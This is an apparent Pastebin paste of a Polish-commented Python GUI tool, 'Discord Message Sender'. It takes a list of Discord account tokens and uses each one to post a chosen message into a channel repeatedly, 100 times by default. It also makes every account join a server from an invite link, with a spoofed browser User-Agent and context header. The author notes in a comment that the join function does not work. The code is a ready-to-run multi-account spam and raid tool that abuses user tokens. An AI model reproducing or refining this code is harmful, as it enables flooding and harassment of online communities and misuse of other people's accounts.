Advertisement
Penzji

cos idk

Jan 2nd, 2025
40
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.71 KB | None | 0 0
  1. ------------ cos zcookowalem ------------
  2.  
  3.  
  4. ----------- dolaczanie do serwerow nie dziala -------------
  5.  
  6.  
  7.  
  8.  
  9.  
  10. import requests
  11. import tkinter as tk
  12. from tkinter import messagebox
  13.  
  14. # Funkcja do wysyłania wiadomości
  15. def send_messages():
  16.     payload = {
  17.        'content': message_entry.get()
  18.     }
  19.    
  20.     tokens = token_entry.get("1.0", 'end-1c').splitlines()
  21.     channel_id = channel_entry.get()
  22.    
  23.     for i in range(int(count_entry.get())):
  24.         for token in tokens:
  25.             header = {
  26.                 'Authorization': token,  # Poprawka autoryzacji
  27.                 'Content-Type': 'application/json',
  28.                 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
  29.             }
  30.             r = requests.post(f'https://discord.com/api/v9/channels/{channel_id}/messages',
  31.                               json=payload, headers=header)
  32.             if r.status_code == 200:
  33.                 print(f"Wiadomość wysłana z tokenu: {token}")
  34.             else:
  35.                 print(f"Błąd: {r.status_code}, Token: {token}, Odpowiedź: {r.text}")
  36.                 messagebox.showerror("Błąd", f"Nie udało się wysłać wiadomości z tokenu: {token}\n{r.text}")
  37.  
  38. # Funkcja do dołączania do serwera
  39. def join_server():
  40.     invite_link = invite_entry.get().strip()
  41.     tokens = token_entry.get("1.0", 'end-1c').splitlines()
  42.    
  43.     if not invite_link:
  44.         messagebox.showerror("Błąd", "Kod zaproszenia nie może być pusty!")
  45.         return
  46.  
  47.     # Wyciąga kod zaproszenia z linku
  48.     if "discord.gg" in invite_link:
  49.         invite_code = invite_link.split("/")[-1]
  50.     else:
  51.         invite_code = invite_link
  52.  
  53.     for token in tokens:
  54.         header = {
  55.             'Authorization': token,  # Poprawka autoryzacji
  56.             'Content-Type': 'application/json',
  57.             'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
  58.             'X-Context-Properties': 'eyJsb2NhdGlvbiI6IkNyZWF0ZSBTZXJ2ZXIifQ=='  # Przykładowy nagłówek
  59.         }
  60.         r = requests.post(f'https://discord.com/api/v9/invites/{invite_code}', json={}, headers=header)
  61.        
  62.         if r.status_code == 200:
  63.             print(f"Dołączono do serwera za pomocą tokenu: {token}")
  64.             messagebox.showinfo("Sukces", f"Dołączono do serwera za pomocą tokenu: {token}")
  65.         else:
  66.             print(f"Błąd: {r.status_code}, Token: {token}, Odpowiedź: {r.text}")
  67.             messagebox.showerror("Błąd", f"Nie udało się dołączyć do serwera z tokenu: {token}\n{r.text}")
  68.  
  69. #  GUI
  70. root = tk.Tk()
  71. root.title("Discord Message Sender")
  72. root.geometry("400x500")
  73.  
  74. # Etykiety i pola tekstowe
  75. tk.Label(root, text="Tokeny (jeden na linię):").pack()
  76. token_entry = tk.Text(root, height=5, width=50)
  77. token_entry.pack()
  78.  
  79. tk.Label(root, text="ID Kanału:").pack()
  80. channel_entry = tk.Entry(root, width=50)
  81. channel_entry.pack()
  82.  
  83.  
  84. # Pole na treść wiadomości
  85. tk.Label(root, text="Wiadomość:").pack()
  86. message_entry = tk.Entry(root, width=50)
  87. message_entry.pack()
  88.  
  89. # Liczba wysłanych wiadomości
  90. tk.Label(root, text="Ilość wiadomości:").pack()
  91. count_entry = tk.Entry(root, width=50)
  92. count_entry.insert(0, '100')  # Domyślna wartość
  93. count_entry.pack()
  94.  
  95. # Pole na kod zaproszenia
  96. tk.Label(root, text="Kod zaproszenia do serwera:").pack()
  97. invite_entry = tk.Entry(root, width=50)
  98. invite_entry.pack()
  99.  
  100. # Przycisk do dołączenia do serwera
  101. tk.Button(root, text="Dołącz do serwera", command=join_server).pack(pady=10)
  102.  
  103. # Przycisk uruchamiający wysyłanie
  104. tk.Button(root, text="Wyślij", command=send_messages).pack(pady=20)
  105.  
  106. root.mainloop()
  107.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement